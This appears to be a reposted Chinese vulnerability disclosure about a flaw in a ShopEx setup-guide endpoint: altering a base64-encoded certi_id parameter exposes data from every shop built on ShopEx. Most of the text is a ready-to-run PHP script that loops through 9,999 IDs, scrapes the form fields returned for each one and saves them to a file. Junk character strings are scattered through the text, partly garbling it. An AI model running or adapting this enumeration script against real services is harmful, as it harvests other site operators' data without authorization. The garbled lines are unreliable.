ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
' j0 G  J, w- j! u2 P. Y+ lShopEx某接口缺陷,可遍历所有网站
0 D* u1 {. v' _2 c8 b详细说明：
( v  X2 `7 X6 I问题出现在shopex 网店使用向导页面
# u+ M1 r, `' C4 H
1 F3 @6 G/ @9 q$ L; t: l

http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
; x+ y* [1 |3 ^, d6 l; x5 U
) f2 X9 X% I2 a! j! F" ]& G

  k7 I) N2 @1 B6 |refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
9 i5 E- I5 g" E* e: x. r( z
7 n( l4 k' q: C2 }
1 W7 `2 s9 z% o1 f0 {' E% v
% M5 J7 V9 r0 g. O9 `我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


. M9 d$ E. j$ h! y) [4 D2 i
<?php
8 c9 I/ V8 ]; ~6 T
: T/ }' b: S( c4 v) @                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);

                }
. B8 O" u# m$ n
                function ShowshopExD($cid) {

5 p# ], x& }" v6 O                $url='http://guide.ecos.shopex.cn/step2.php';
- F8 @+ w- Z' t+ ?
" B! x$ ?; r0 P' X0 h* I                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
: ]& R& X+ v( S- q6 j1 m; \5 }! c0 _
        $url = $url.'?refer='.$refer;

' r4 V  z. m4 C        $ch = curl_init($url);
4 W2 a% H" e( l7 T  Z; C
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

' a; _2 E5 N6 ]+ J7 M  p        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
$ T! g% j# k$ C4 o9 ^; v
        $result = curl_exec($ch);
8 ]: X3 H8 W( V7 K' d; B) _: k
$ k6 d5 m# I) Q4 U        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
0 q# m6 _; F% j5 [7 b. @2 n
        if(strpos($result,$refer))
/ h  l8 f) {- ~  V+ N
" K8 V3 q$ p& D; J; t# W: c        {

# @, f$ i" y* g                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

& D, R& p, |! j) |, L; s                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
5 m5 n- n' I! t; q8 |9 @+ d7 ?6 J
                foreach ($value[1] as $key) {

1 U% U# ^: g5 Y) \0 E" P1 j: m) w                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";
0 B: e' Z2 [3 t: q( U2 k; K5 J
1 ^. ?- _9 q/ }! e& i1 U6 F: `                        $col =$res[1][0].':'.$res[3][0]."\r\n";
1 t5 T* o" e! d8 U! N& V* W0 u. C
* h2 @+ B3 h( c. q9 q; c                        fwrite($fp, $col, strlen($col));
" X# O2 m9 R- W; ~
                }

$ |1 u: D) o4 m: G' R" H                echo '--------------------------------'."\r\n";
" M9 ^# Z; F) T  G- k/ \: p8 [! s  \
                fclose($fp);
+ E7 f6 W: g, v2 F7 I; w
8 b8 I0 }' i, H! p        }

        flush();
/ B/ s7 J8 n( ~9 G. D/ T: ^, o6 l
        curl_close($ch);
6 w7 d. n2 F* b9 @
7 L8 _% }/ B6 M; y) ]4 |7 V+ D* z                }
: e* w/ \( h7 \2 k
# ~- S) z  `+ g2 k" H6 Q. }?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
2 i7 a' ^  U% ]" h9 f5 i